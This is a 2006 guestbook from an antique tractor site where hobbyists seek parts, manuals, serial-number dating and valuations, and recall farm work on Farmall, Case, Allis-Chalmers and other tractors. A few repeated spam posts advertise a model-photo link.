Brad Meads wrote on Wednesday, September 13, 2006 (PDT):I'm looking for rebuilt, or new, lifter cylinders for a Dearborn Loader model # 19-61, Any information will be appreciated.
david shea wrote on Tuesday, September 12, 2006 (PDT):I have a case "vai" tractor and i am looking for parts, mainly exhaust.
Jimmick wrote on Tuesday, September 12, 2006 (PDT):I have a John Deere #9 sickle bar mower that I have used but know that I am mounting it incorrectly. It hook up to the 3 point alright, but the front end of the pull bars are not connected to anything and I cannot see any place for them to hook up to. Any suggestions? Thank you, Jim
tracy wrote on Tuesday, September 12, 2006 (PDT):I saw a 8n made into a sprayer with chane drive
tracy wrote on Tuesday, September 12, 2006 (PDT):I have a 1942 M and for years we used it as a loging tractor and all it dose now is bushog and parades it dosent do a lot of manuel laber but I love the M its grate all the power you need and still fits in tihet spots
Kraig wrote on Monday, September 11, 2006 (PDT):I figured out after I bought the wrong seat for my tractor that I have a VAO, I have a seat from a VA, is there a metal pan seat that came on these tractors or one with a cushion? And is there a chance of getting the sheet metal to make it back into an orchard model?
Mike Dean wrote on Saturday, September 09, 2006 (PDT):looking for a woods belly mower for my H in Northern IL. also interested in building a 3pt hitch e-mail me with comments
BA in NC wrote on Saturday, September 09, 2006 (PDT):Saw two Super 99 Diesel and two 990 diesel today at a tractor pull. What a wonderful sound that GM diesel has. Sorta like a bus dragging a loaded dump truck.
KEITH wrote on Saturday, September 09, 2006 (PDT):i striped 3 point linkage 8 years ago anyone one got pictures how to rebuild it is model B 1953 restoration shoud be coplete march 2007
L Dykeman wrote on Saturday, September 09, 2006 (PDT):Looking to buy a Hart Parr 18-36 Hand Crank - please contact me if you know where I can find one.
Dave Furlong wrote on Saturday, September 09, 2006 (PDT):Hi I bought a un restored 44 GR and when I got it home and started working on it I noticed the oil presser gage was broken and the oil lines where not connected so I dont now ware they should be connected, any help would be appreciated thanks.
Scott Barrow wrote on Wednesday, September 06, 2006 (PDT):I have a Navy Model VAI with a nice plaque on the side, yellow paint, PTO and hydraulics. It is 12 volt conversion with an altenator. I need help with the brakes; are they drum, or disc. and how are they adjusted? Thanks, Gents.
RAY STIKELEATHER SR wrote on Tuesday, September 05, 2006 (PDT):TO THE FARMALL B FAMILY PRIMARILY EAST OF MISSIPPI RIVER. LIVE IN N.C. LOOKING FOR FARTMALL B RESTORED OR RESTORABLE. THANKS TO ALL. HAPPY FARMING/PLAYING.(IF ITS GREEN,MOW IT.IF ITS RED,RIDE IT.
gary barenz wrote on Sunday, September 03, 2006 (PDT): Looking for manuals,headlights,and any info on silverking model 41 S/N4188
Val Satala wrote on Sunday, September 03, 2006 (PDT): What is the capacity of oil for the gear box on a Ford Super Dexta approximate age 1962? Please hurry with information Thank you
Ida Red wrote on Sunday, September 03, 2006 (PDT):Just acquired a 1955 S44D with good tin and complete condition but it needs a rear rim 30" and likely new injectors.Can anyone help me out. Red
Rev. David Brooks wrote on Saturday, September 02, 2006 (PDT): I have a massy harris 44 I pull at tractor pulls Please send me all things so I can out more about my tractor thankyou rev.brooks e-mail revdavidb2006 at yahoo.com
Larry Brady wrote on Saturday, September 02, 2006 (PDT):I am looking for a book or a web site that has IH Serial numbers listed that will tell me all the information on that tractor. Thank You
Jim wrote on Wednesday, August 30, 2006 (PDT):I am 15 and restoring a 1948 70 RC. Went to start it for the first time in 20 years, it started after about 2 or three hours and 2 cans of parts cleaner and a can of starting fluid (It was in the back of out tool shed for those 20 years). Fun and simple tractor to drive. First time driving it my dad and I over heated it. Put TWO GALLONS of water in the coolant system and now the gauge barely goes up. I was suprised to find all three gauges work.
john farmall wrote on Wednesday, August 30, 2006 (PDT):My neighbor has a super MTA compleatly restored and it is nice let me tell you !! i want to take it off his hands!!! mabey in 20 years!!!
Todd Westra wrote on Tuesday, August 29, 2006 (PDT):My grandfathers first tractor was a 1940 H Dual fuel with no electric. After the war my dad and grandfather added lights and starter. At the same time they changed heads and manifold to run on straight gas.. Years ago we overhauled it and got it running again. This winter I hope to get it restored to show room condition along with his H-210 mounted corn planter. Hope to make it a show stopper.
Ron Steffler wrote on Monday, August 28, 2006 (PDT):Question?I am not an engine mechanic!! I use a 460 Farmall for pulling, I feel that the RPM's could be increased and or the governor set up.Why does the governor rev real high when I pull the throttle back but when I need more rpms when i near the end of a pull I dont get it. Is there any thing I can do to adjust the carb and or the governor?/ I appreciate any help I can get. Thank you, Ron
Bob McLellan wrote on Monday, August 28, 2006 (PDT):I have just recently aquired a Model R from a friend who didn't want it anymore. It sat in a field for 5 years and the starting motor won't run. I towed it home and on the way I put it in gear and after a few feet the diesel fired up and ran very well. This will be my restoration project for the next couple of years.
Oliver Carlee wrote on Monday, August 28, 2006 (PDT):Does anyone know where I can locate 3 point hitch parts. Someone removed them from my D12 years ago to pull a hammer knife mower. When I bought the tractor the parts were not to be found.
bill s. wrote on Sunday, August 27, 2006 (PDT):i have an 8n and while cranking it the cam shaft moved sligtly foward and cracked the front engine cover. can smeone inform me on why&how ths happend.
Dave wrote on Friday, August 25, 2006 (PDT):We have a "B" model, serial #0527, which ran until my brother-in-law died three years ago. We also have about half of another "B" that he used for parts. Both have been in storage. Any idea what they are worth and is anyone interested. In western Wisconsin area.
Tom Hamilton wrote on Thursday, August 24, 2006 (PDT):I just inherited a B from my dad. My grandfather (Dad's dad) was an International salesman and sold it to my other grandfather (Mom's dad) who was a farmer. It is a 1940 (sold in 1941) and is perfectly restored. I have the original bill of sale. It's a fun little tractor.
ADAM YOUNG wrote on Thursday, August 24, 2006 (PDT):i HAVE A MASSEY HARRIS 101,FLATHEAD 6 CYLINDER.I am looking for the front cowl and a manuel as well.
grant setty wrote on Tuesday, August 22, 2006 (PDT):i just pechised one and my mag is not sparking now ? and i need a carberator float does anyone have one or a whole carb
Dave Lambert wrote on Tuesday, August 22, 2006 (PDT):I am looking for a Farmall Cub, in the New Mexico area.
BOB wrote on Monday, August 21, 2006 (PDT):Just finished restoring a 1957 IH 330 utility and still need a Hyd pump Oem# 368633-R91 or 3698894-R92, also removed a Wagner backhoe and now looking for a complete PTO assy and 3 point hitch assy. Anyone know where I can locate these parts? Pls. E-Mail. Thanks
C.W.Johnson wrote on Sunday, August 20, 2006 (PDT):Ihave a IH McCormick Cub model F-Cub s/n147150 what year was it built. Thanks C.W.
Ron wrote on Thursday, August 17, 2006 (PDT):Just picked up a PTO with hydraulic pump for my 1940 B. Does anyone have a picture of how the linkage for the pump hooks up? Any help would be much appreciated.
Dennis Lausen wrote on Wednesday, August 16, 2006 (PDT):I have located a Case 600 which doesn't have a serial tag.It is missing the starter but otherwise is intact.Can anyone enlighten me about this tractor as to parts availability , cubic inch displacement ect. It is a diesel.
BO wrote on Tuesday, August 15, 2006 (PDT):HI THERE IM LOOKING FOR A F 14 BLOCK OR ENGINR WITH OUT ANY WELDS OR CRACKS OR BREAKS I HAVE MY FATHER INLAWS F 14 HE PASSED AWAY 2 YEARS AGO AND I WANT TO FIX IT AND KEEP IN THE FAMILY IF ANYONE HAS ONE GIVE ME A CALL 330 212 5616 THANKS MUCH BO
Marvin Taylor wrote on Tuesday, August 15, 2006 (PDT):Hello; I plan to sell a Case tractor donated to a museum and trying to determine what it is. I can't find a data plate, but found a STAMPED# on the left rear engine-trans flange. It's D 430 3829. Is this the serial#? It looks like pics of an SC or a D. It is complete, been sitting for years, was running when parked years ago. Rear wheels are badly rusted from chloride, tires are shot, but has a wide front end. Any help out there to identify this tractor? The tractor is restorable or abundant parts donor. I have pics, if needed. The tractor is in the Oklahoma panhandle. Thanks, Marvin
Ron Gomorczak wrote on Sunday, August 13, 2006 (PDT):I need help. I own a SUPER C without a 3-point hitch.Will this tractor handle any pull type rotary cutter.Also can this tractor handle a hay operation. If so where can I find this equipment. I live in Rhinelander Wi.
John Heise wrote on Saturday, August 12, 2006 (PDT):I have a 54 Major diesel that my dad bought new. I recently rebuilt the engine and it was running great. The number 1 injector line came apart with the ferrell seperating from the injector tubing. Do you know where I can get a used line or a new line custom made? I am in the process of renovation and have stopped since it can not be ran until I fix the fuel system. I have loved this tractor since I first operated it alone at the age of seven on the family farm.
Nico Visser (South Africa) wrote on Tuesday, August 08, 2006 (PDT):I got an M from an old farmer. The engine got water in it as it stood in a field for years. Pistons can be moved at least 1mm sideways inside sleeves, so it will need a new engine kit. Transmission and diff. look good. Lots of rust. The rest of the tractor is complete. Needs four new tyres. Can anyone give me an idea of what it will cost to restore my M to original condition? I guess prices will differ between S.A. and the U.S. but just for an indication.Is it possible to put a double set of wheels on the side shafts? They look long enough to me and I think it would look real nice! Does anyone have pictures of a Farmall with double rear wheels? Lekker boer! Nico
B. Bartling wrote on Tuesday, August 08, 2006 (PDT):Can you tell me what year my International Farmall B tractor was made? The model # is 8638-DE
Bill Gardner wrote on Monday, August 07, 2006 (PDT):I have a 1963 Fordson Super Major I bought a few years ago, I am having a terible time finding a reliable parts supplier,it is a great tractor, have cut a lot of hay with it, just wish it had power steering. A camshaft gear broke recently and the local Ford/New Holland dealers are no help at all for parts. Any information greatly appreciated. Im in East cost of North America but any reliable source is beter than none. Thanks
Harry Nicholls wrote on Sunday, August 06, 2006 (PDT):I learned to drive on an F-20 when I was 10 in 1942. I later ploughed with it,spun potatoes, cut cornwith it's powerdrive and pulling a binder. I crushed oats with its pulley. Beutiful power lift. I was away from the area (Norfolk Fens England)for some years but found she was being used belt driving a corn dryer right up to the 1990's. She is now being restored. Not bad at 65 !
JON S wrote on Sunday, August 06, 2006 (PDT):WE HAD ONE ON THE FARM ,WITH THE SINGLE WHEEL IN FRONT,I WAS WANDERING THE YEAR OF IT?
Darrell Borgmann wrote on Sunday, August 06, 2006 (PDT):I'm looking for rear rims for my 550 industrial tractor. Tire size 14.9x24 Can anyone help?
Darrell Borgmann wrote on Sunday, August 06, 2006 (PDT):I'm looking for rear rims for my 550 industrial tractor. Tire size 14.9x24 Can anyone help?
Tim White wrote on Wednesday, August 02, 2006 (PDT):I have an MM UB and I'm looking for a wiring diagram. It is a 12v model.
Virgil wrote on Tuesday, August 01, 2006 (PDT):I just recently purchased a 47 Cub Farmall, needs restoration but all in all I got something great I think. I need the paint color and where to buy it to make her look new! Also have a carb issue. Thanks for the help.
Paul E. Boloick wrote on Saturday, July 29, 2006 (PDT):1 A model John Deer tractor in the mid thirties to be restored. Good condition. Contact me if interested. 1-5o1-882-5486
antonio casanova wrote on Friday, July 28, 2006 (PDT):We have a 1957 super 55 gas at our ranch.That we purchased about four years ago.Was not maintained well,but put alot of work in to it to keep her in shape.It runs great and is a work horse,it is a great tractor all around.My suggestian to you first time buyers of a super 55.Purchase a repair,operators manual and parts book first.Befor you do anything and replace all your fluids and filters.Yes sometimes parts are hard to find but are still available.Good luck
mark bonds wrote on Friday, July 28, 2006 (PDT):My farther-in-law just got his Farmall Regular finished after 2 years of restoring it. The serial number plate is missing. Is there any way to find out what year it is? Is there web site or a book that will tell us what to look for? We can see some numbers on some of the castings. armall
John wrote on Friday, July 28, 2006 (PDT):Just bought a 41 case dc 4 eagle, can anyone tell me if this is a negative or positive ground. Thank you in advance
Vicky Mellady wrote on Thursday, July 27, 2006 (PDT):I love this site!!! My husband has his grandfather's Farmall B Culti-vision - The manual has a year handwritten in as 1946 with a serial # - Is there a way to verify the serial # without the left seat support bracket? The tractor looks like everything is there down to the tool box but the seat is not original. Instead of a solid pan seat it has 2 inch holes all around the seat and is sitting on a very large spring instead of seat support brackets. Any info you could offer would be appreciated as to serial # and seat. We are looking to restore and are in need of all the help we can get.
Laron wrote on Wednesday, July 26, 2006 (PDT):Case VAo 1942-1955
ROSE lightfoot wrote on Tuesday, July 25, 2006 (PDT):I have used a model G allis chambers tractor many years ago. I really liked it. We worked for a dairy farm then. I am looking for one now (if not to expensive) Do you know of any within a reasonable distance from Memphis, Tn.? Thank You Rose
Ashley wrote on Tuesday, July 25, 2006 (PDT):me my father and my grandfather well mostly them just recently and still are rebuilding a Farmall M they got it out of the woods and are now totally rebuilding the whole thing but i was just wondering what year this one is its a beauty!!!!
Dave J wrote on Sunday, July 23, 2006 (PDT): I recently competed in an antique tractor pull, in Cecel Co. Md. Contest was called "The Detroit Shootout" only Oliver models Super 99's 990's & Massey 98's could compete. I placed 4th with my 990, but the Gal. from Penn. came in first place with her Massey 98.Thats pretty good,going against 14 other Detroits.
Jim Maust wrote on Saturday, July 22, 2006 (PDT):I'am restoring a 1947 w4 and i need a set of rear fenders, I am located in WVa
Lenard L. wrote on Saturday, July 22, 2006 (PDT):I sure need a belly pan or "chin guard" for an L or LA if any one has one please let me know thanks Lenard
Roger Ehrlich wrote on Saturday, July 22, 2006 (PDT):Oh, what memories the pictures and stories bring back! I was a young boy on an Oregon farm when by dad bought a Coop E4 about 1951, 1952(?). It was unique for its time, bought to replace a steel-wheeled Case Model L. We used it to pull 3-16" MM plow, harrows, rollers, disks, etc. Also, the live PTO was the first available, along with two creeper gears. We used the Coop to drive a Gehl field chopper, putting up silage. To be sure, it had its problems. To name a few; Repeated broken front spindles (at the L), unreliable hydraulic couplers for remote cylinder, transmission issues with a the shifter fork. But, the 6 cyclinder Buda engine (very new to the industry, competing with 4 cylinder Case, 2 cylinder John Deere R tractors -- "engine runs too fast, too many cylinders, ..."), was very strong, very reliable. It would purrrrr like a kitten in the field under load, able to be heard for long distances across open fields. We made some modifications, such as a step platform in the rear to aid in getting on/off, and splitting the rear wheel rims, adding 2", for better traction (used 13X38 tires, I think). The marketing and support for these tractors was terrible. The dealership was a local coop, with little shop experience, parts, or support. Very few were sold in the area, and the line died out in a few years.
Derek Dieleman wrote on Thursday, July 20, 2006 (PDT):We recently purchased a Farmall M and want to convert it from 8 volt to a 12 volt battery. How can we do this? Please email with any help. Thank you in advance.
Howard Williams wrote on Thursday, July 20, 2006 (PDT):I have a 1952 "R". I am restoring it now and need detailed pictures of the engine area. Are all the bolts painted? Where does the wiring run on the tractor? Good photos would be great.
Evan wrote on Wednesday, July 19, 2006 (PDT):hi i am thinking about getting a farmall cub and i was wondering what there is for attachments for these units
Don Nielsen wrote on Tuesday, July 18, 2006 (PDT):I have a Farmall Super M between 1945-1950 for restoring could anyone help with what it is worth, thank you
William Farley wrote on Thursday, July 13, 2006 (PDT):In northwestern Montana, Dad owned a large Twin City tractor with steel rear wheels that were at least four feet high. These wheels contained rows of "lugs" or solid steel triangles that spiked out from the rim, providing traction in soft ground. We used the tractor to power our saw mill that we ran on our homestead. It had a PTO with an 18" pulley on the left side that was perfect for hooking up to a belt that ran to the pulley for the saw's flywheel and blade. I do not know the year or model, but remember distinctly the big "T" superimposed over the "C" in an oval just above the radiator. The engine was very powerful and smooth-running. It was started by a crank at the front and the spark was provided by a magneto. Would anyone have an idea as to its approximate model year? We used the tractor in the late 1940s to the mid 1950s. Bill Farley
Peter Enns wrote on Wednesday, July 12, 2006 (PDT):I forgot to include my email address in the above comment, if you know anything about this tractor, please send me an email at pre22487 at hotmail.com. its a 4 cylinder engine, I'm not sure if its a diesel or gas, I never have time to properly look at it.
Peter Enns wrote on Wednesday, July 12, 2006 (PDT):I work at a tractor salvage yard, and we have an old Massey Harris 44 sitting here. My uncle is interested in buying it off of us and restoring it, because he is an antique tractor enthusiast, he enjoys restoring them. We have all the stuff required to rebuild the engine on it, but i think it is missing the front grille of the tractor. is it particularly difficult to locate those things, and are they expensive to buy?
Dewaine wrote on Tuesday, July 11, 2006 (PDT):Just bought 20 acres and found a 1940 H hideing in the woods. After talking to my new neighbor I know that it has sat for at least 30 years. I'm tring to get the courage up to tackle this project. My son really wants it to run, so I guess I have no real choice but to get started.
ryan wrote on Monday, July 10, 2006 (PDT):Do any of you know about the M&W pto lever for the Farmall M and Super M.I would like to make one. Anybody have some sizes for it or know anything about it. Please email if you can help. thanks
Doug Grove wrote on Monday, July 10, 2006 (PDT):I'm with a small nonprofit in central Tennessee that just bought a 1949 Farmall C. We will be cleaning it up and working on a couple of mechanical issues while searching for a mower deck and other implements. If anyone can help with advice, supervision or even hands-on work (the mileage is tax deductible) it would be very greatly appreciated. I can be contacted via the contact page of our web site, www.cumberlandcentre.org. Many, many thanks! Doug
ronald j magee wrote on Sunday, July 09, 2006 (PDT):bought a case vai gand shape woud like some help with info
Nick spring wrote on Sunday, July 09, 2006 (PDT):I am restoring a 1949 silverking model 42 and having some trouble finding a presureplate clutchdisk and throwout bearing any help would be appreciated.
roy wimer wrote on Sunday, July 09, 2006 (PDT):I was disking with the tractor, when suddenly it stop pulling as tho it was knock out of gear. The engine kept running. I tried to unhook the disk from tractor but the power lift would not work and pto does not work when engage
Charles Lasiter wrote on Thursday, July 06, 2006 (PDT):I am interested in purchasing a John Deere Model; LA I live in the Southern California area, and prefer one in running condition in this area.
Greg D wrote on Thursday, July 06, 2006 (PDT):I have a 1923 F - 12 FS 4036 1550 Does anyone know what this is and what kind of value does this carry. It's a steel wheel farmall hand crank and the front wheel was re-placed with a rubber wheel, One owner and been sitting re painted 30 years ago and covered
donna wrote on Wednesday, July 05, 2006 (PDT):hi my friend is looking for used hydraulic hay rake please email me with rake in subject line if you have one for sale and information thanks
AL wrote on Monday, July 03, 2006 (PDT):Unlike Brendan, I haven't broken my steering box on my 1940 FAA yet, but neeed to repair the better than one inch travel (in & out)of the steeling wheel. Can someone tell me what the problem is and would heating the steering box up using a cutting torch work?
Fipeas wrote on Monday, July 03, 2006 (PDT): I need wiring diagram for my jd mt 1952 tractor-anyone know where i can find one? Thanks
Jim Fletcher wrote on Monday, July 03, 2006 (PDT):Finally found an orginal set of rear wheel extensions. A great man to do business with is "Tom" of tmtractor.com. He has new, used parts for just about any thing on a "Cub", plus a very easy to use web site with photos of everything.
dave birdsey wrote on Sunday, July 02, 2006 (PDT):I have a 1948 Super A in excellent condition. I am looking for a A-21 sickle mower for it, " must be in good condition".Any help in locating one would be ppreciated.
Darrell Reed wrote on Saturday, July 01, 2006 (PDT):Im looking for someone that knows about the ford 9n, i have a issue with my pto, it does not spin when the tractor is running, the fluid is fresh and the right type. i can engage the lift lever and manually spin the pto and the lift will go up, where do i go from here i am looking to fix it myself if i can Thanks Darrell
Robert Donaldson wrote on Friday, June 30, 2006 (PDT):Just acquired a Pony for restoration. Its Serial Number is 5490. Can you tell me the year of manufacture, please ?
JOHN BERGEMANN wrote on Thursday, June 29, 2006 (PDT):lOOKING FOR A SUPER "M" MY Uncle had one and in the early 50's it was BAD ASS!
Lee wrote on Wednesday, June 28, 2006 (PDT):We bought a house that came with a 1941 Farmall B. It is not running and needs to be restored. Any idea on what it is worth in its present condition?
mr bob from SE ohio wrote on Tuesday, June 27, 2006 (PDT):i've never operated an"M", but have operated an "H" quite a bit. i'm wondering if the "M" has this one characteristic that i encountered with an "H". that is 5 gears foreward; there being very little difference in speed of first four, and then 5th being very fast.
mr bob from SE ohio wrote on Tuesday, June 27, 2006 (PDT):AS A TEENAGER, I LOGGED UP MANY HOURS MOWING, BALING, PLOWING, DISCING AND ANY OTHER REQUIRED CHORE ON MY DAD,S DAIRY FARM. THE 1960 D17 WAS A POWERFUL CRITTER. WHEN IT CAMETO POWER IT WAS UNBELIEVEABLE FOR ITS SIZE. THE ONLY DOWNSIDE WAS THAT IT SUCKED UP GAS LIKE A VACUUM CLEANER. ITS DEPENDABILITY WAS SECOND TO NONE.
Eric Heim wrote on Tuesday, June 27, 2006 (PDT):Hi my younger brother and I pull in the tractor pulls I"M 14 and he is 12. I have an oliver 60 that im restoring and a restored allis chalmers the 60's mine I like it better than the chalmers
John Fontenot wrote on Monday, June 26, 2006 (PDT):You might try Klump tractor parts in Kinder La. Phone # is 337-738-2554.John wish I could help you more.
Chuck Whittier wrote on Monday, June 26, 2006 (PDT): I have a 1961 2010 that I bought about 5 years ago and I don't know who the idiot is that said this was the black sheep of the family- it has performed every job I set before it, from cutting with a J.D. #37 9ft. sickle mower to raking to baling with a N.H. 847 round baler. This tractor also has a farmhand F-10 loader that has a grapple fork attached and I use it for feeding in the winter because it starts better than my 3020 or my 4010 diesels. I would also like to mention that it starts in any weather and believe me Manitoba winters are damn cold. The tractor is all original and restored with nothing more than a coat of paint- the guy I bought it from only used it in the farmhand making loose hay since he bought it new. This is one great tractor and I absolutely love it.
jim lederbrand wrote on Sunday, June 25, 2006 (PDT):I am looking for a D-21 series 2, restored or unrestored. If you know of one please call me at 217-306-0880. I am located in ill. Thankyou for reading this, Jim lederbrand.
Don wrote on Sunday, June 25, 2006 (PDT):I spent a lot of my summertimes during High School on a farm that had a Farmall M. The days were spent(the easy days) doing just about anything imaginable with it. There was a two-row cultivator for corn, mower for haying, three-bottom plow for spring and fall plowing. These were the attachments. We used it to pull a Case hay baler, a Case combine. Some jobs were not well suited for the M. For instance, for rotary hoeing corn, it was not fast enough in 4th gear, not quite enough power for 5th gear. Same was true for dragging or harrowing. In about 1940, the International dealer installed an extra transmission that doubled the number of speeds. After this, it was practicle to drag or rotary hoe. Some of the slight inconveniences involved the power takeoff. The transmission was designed so that if using the power takeoff, for instance, combining grain, the combine had to come to a complete stop in order to get the tractor in gear again.
Donna Lewis wrote on Sunday, June 25, 2006 (PDT):I have a large metal wheelbarrow, someone said it was called a georgia bucket.I can not find any info on it. It is very old, large wheels that come above the top of the wheelbarrow.It is all metal, any info would be appreciated.
Woody wrote on Sunday, June 25, 2006 (PDT):I have a OC6? the tag says oo6-42-g the serial # is 3502842. What I don,t understand is it is a 6 cyl diesel. The Crawler is painted yellow and has a dozer blade , no PTO , the hydraulic has a 2 valve control but only one is being used for the blade . Ifanyone has info or is interested in buying it my phone # is (209)545-1417 Thanks Woody
Bob Magee wrote on Sunday, June 25, 2006 (PDT):CORRECTION - Looking for the bottom half intake for karosene manifold for an F20. Part No. 5262-D. Thank you.
Don BATES wrote on Saturday, June 24, 2006 (PDT):Like This?
bob magee wrote on Friday, June 23, 2006 (PDT):looking for bottom half intake for karo. nanifold part no. 5263-d thank you bob
John Rus wrote on Thursday, June 22, 2006 (PDT):I would like to purchase a 1943 Model D Case tractor to restore. Also, I would like one for parts in restoring it. Please let me know.
Marvin G Ragan wrote on Thursday, June 22, 2006 (PDT):I bought a 1948 cub last week serial no. 16322 so far I have just stood around in awe looking at it. It cranks easy and runs good needs some minor beauty work but overall I love it.
Simon wrote on Wednesday, June 21, 2006 (PDT):I have a running 1953 Fiat 50 bulldozer with narrow guage tracks and a blade, could anyone tell me it's worth? Thanks, Simon.
AL GAGNON wrote on Tuesday, June 20, 2006 (PDT):I AM LOOKING FOR A 5 SPEED TRANSMISSON TO FIT A 1956 JOHN DEERE 420C.
Megagirl wrote on Monday, June 19, 2006 (PDT):7icon.com/pic1000 Top Model Mega Site - CLICK HERE! 7icon.com/pic1000 7icon.com/pic1000 7icon.com/pic1000
Lois wrote on Sunday, June 18, 2006 (PDT):I have a WC that my father-in-law gave to my husband about 35 years ago. My hubby restored it at the time but it needs to be re-done. He used it extensively before parking it - unfortunately - outside in the weather. Hubby passed away last fall and I would like to sell the tractor. It was running in 2003 when we moved - he drove it down the shoulder of the highway to our new place. Located on the North Shore of Lake Superior in Minnesota.
Megagirl wrote on Saturday, June 17, 2006 (PDT):7icon.com/pic1000 Top Model Mega Site - CLICK HERE! 7icon.com/pic1000 7icon.com/pic1000 7icon.com/pic1000
Terry wrote on Saturday, June 17, 2006 (PDT):I'm trying to locate a model (toy) Farmall Cub Cadet...anyone got a website/source?
John wrote on Friday, June 16, 2006 (PDT):I have a Farmall BN and I need a rear axel housing part #8894DA. Anyone know where I can find one? Thanks, John jlund at chartermi.net
Kevin Goddard wrote on Wednesday, June 14, 2006 (PDT):I'm looking for a detailed diagram for the hydraulics on a modle 300. Is there a pdf. file that has the details? Thanks Kevin
tom barden wrote on Wednesday, June 14, 2006 (PDT):I'm looking for a wiring harness, cutout relay, water temp guage for a 1948 M any sources, new or used. Tom
derek schwarting wrote on Wednesday, June 14, 2006 (PDT):My grandpa bought a 460 diesel 10 years ago after that came a 560 diesel but my favorite is the 660 diesel my dad bought 7 years ago it runs good and i know they are a rare tractor only 6,945 of them built! most of them diesel mine is a 1960. IF ANYONE WANTS GOOD TRACTOR INFO GO TO TRACTORDATA.COM im just so proud i own the entire 60 series
Steven F. wrote on Tuesday, June 13, 2006 (PDT):looking for a intact G without an engine; or with non-working engine. I'm in southeast Ohio but, willing to go some distance [500 mi. ?] to get a non-working G.
Megagirl wrote on Tuesday, June 13, 2006 (PDT):7icon.com/pic1000 Top Model Mega Site - CLICK HERE! 7icon.com/pic1000 7icon.com/pic1000 7icon.com/pic1000
Jim Broughton wrote on Monday, June 12, 2006 (PDT):Jake; Your Cub is a late 1954 model.What do you mean "rough shape"? I bought mine several years ago with a frozen engine but otherwise in decent shape with three implements for $ 450.00...un-stuck the engine, overhauled it, repainted it and added two new front tires..now runs like a charm and works everyday on my daughter's farm ! Now, if it has a "crank", remove the spark plugs and see if it will turn over, also check condition of the oil in engine, check radiator, watch for leaks, and if all checks out, make him a reasonable offer. They are really very simple machines to work on and a pleasure to restore ! Lots of luck Jim
Patsy wrote on Monday, June 12, 2006 (PDT):Hi! My father bought a 15-30, 1926 vintage with a great big exhaust pipe, however I have discovered that the pipe wasn't an exhaust but air intake pipe. Anyone have any pictures.
Jim wrote on Monday, June 12, 2006 (PDT):Need info on setting the timing on my Case Diesel 400 injector pump ( American Bosch PSB )
jeff wrote on Sunday, June 11, 2006 (PDT):I am currently restoring a 1945 farmall m. It has a m&w cluth that does not work and was wondering what I have to do to remove it?
John wrote on Saturday, June 10, 2006 (PDT):Looking for culivators and linkage for 48 super A high crop, needed for farm in ca. Any help locating would be of great service to us. Thankyou
LancasterPA Jon wrote on Friday, June 09, 2006 (PDT):AC's are in my blood line; Grandpa (pronounced Gram Paw in my youth) owned a WD, at least one WC, 2 Bs (one with a sickle bar mower seemingly a permanent fixture and the other alternating cultivators and a 2-man planting platform for tobacco seedling transplanting) and my favorite Model G with the manual quadrant-raised front and rear cultvators. My cousin and I could easily pop wheelies by letting the clutch out quickly. (Please! Do not try this at home!) Our 70-pound physiques could not counter-balance that rear engine and Grandpa didn't employ the optional weight which mounts over the steering gear (I didn't know that part even existed until a couple of years ago when I saw one on a show tractor) What a great view of the row this little tractor offered the driver! It was a nearly perfect cultivator rig and many local owners considered it a must for raising tobacco. I think that's why so few have the plows or other available attachments. Sadly, most of the tractors were destroyed in an arson barn fire around 1970.
Doug wrote on Friday, June 09, 2006 (PDT):I am looking for #4 sickle mower parts for the Allis G. In particular the pitman drive wheel or counterweight on the pitman arm. If you know of one please let me know. Thanks Doug
Tim wrote on Friday, June 09, 2006 (PDT):I have a TEA20 but don't know what year or motor size. It has Massey Hassis Ferguson on it's serial # tag. TEA423083 ENG.# C86767FVR. It also said's Inported to Toronto Canada.Any info would be helpful
Jake wrote on Friday, June 09, 2006 (PDT):Hey, if any one wants to give me a hand with something that'd be great. My dad has just finished repainting this row crop that he got from his dad after he passed away. It looks great and I'd really like to make it look even better by getting him some more parts for father's day. I was thinking maybe a new light or something because the one on it is pretty shot. But if you had any good ideas (maybe where you started?) let me know. Thanks
Wayne wrote on Thursday, June 08, 2006 (PDT):I have two case VAC. Got both for free and ond dose not have serial tag but think it is the same year as my 46. I am looking for some odds and ins.
Dale wrote on Thursday, June 08, 2006 (PDT):I just purchased a acreage with old barn, in the barn sits a 50 Deere, with one front wheel. Any input on this tractor would be appreciated. I do not have the serial number at this time. Thanks for the input. Dale
Doug Huffman wrote on Thursday, June 08, 2006 (PDT): F-20 electric start yes you can tell my my email address I have been a die hard John deere fan for all of my 27 years however i have just been given my granddads 1936 farmall f-20 which he baught brand new i plan to start restoring it next year Dose any one know of a company who sells a electric start kit for it I have seen my dad go flying across the barn trying to hand start it thanks Remember green rules but my granddads f-20 ranks up at the top also!!!!!
WARREN LOBELL wrote on Thursday, June 08, 2006 (PDT):WANT TO BUY PTO BELT PULLEY TO FIT IH 140 MY NO. 225-978-2915
Jake wrote on Thursday, June 08, 2006 (PDT):Recently came across a Farmall Cub that may be for sale. The serial number is 186159-J. Tractor is in rough shape. Needs tires-Don't even know if it runs. Can anyone give me an idea of what is may be worth and what year it is. No mower or any extras with it.
Larry Brady wrote on Thursday, June 08, 2006 (PDT):What year did they start making the super M and what year did they stop making it. Thanks
anthony brown wrote on Thursday, June 08, 2006 (PDT):i have a 1939 farmall b it is rusted and needs tires but overall looks good can u give an estimate on what it is worth.
M. Grosshart wrote on Wednesday, June 07, 2006 (PDT):1940 is when the serial # 6744 thru 41499 was made from the data book by Fay
STEVE wrote on Tuesday, June 06, 2006 (PDT):I AM LOOKING FOR A SET OF TURF TIRES AND WHEELS FOR MY 1985 FORD 1710. THE REARS ARE 11.2-24 AND THE FRONTS ARE 600.-16 THANKS
Greg Dirks wrote on Tuesday, June 06, 2006 (PDT):WANTED;1956 Farmall Cub or 1956 Cub Low-Boy. Would prefer it to be in good to restored condition. I am in the northern Indiana area.
Bo wrote on Monday, June 05, 2006 (PDT):I just purchased a TO-35 that had belonged to my grandfather years ago. Its in pretty rough shape with a broken crank. Any help on wherabouts of parts for restoration would be appriciated.
Bo wrote on Monday, June 05, 2006 (PDT):I just purchased a TO-35 that had belonged to my grandfather years ago. Its in pretty rough shape with a broken crank. Any help on wherabouts of parts for restoration would be appriciated.
Sean Van Alstine wrote on Sunday, June 04, 2006 (PDT):Hi, I am like alot of people on this site. I am hoping someone can tell me what year my Father-in-law's Model B is. It is serial # FAB 9451. If anyone can help I already appreciate it. Thanks!
BOB MAZZA wrote on Sunday, June 04, 2006 (PDT):RESTORING A G LOOKING FOR THE BRACKET THAT MOUNTS ON THE TRACTOR FOR THR PLOW.
Steve Smith wrote on Sunday, June 04, 2006 (PDT):Loking for Ford with V-8 can be any condition as long as complete. thanks
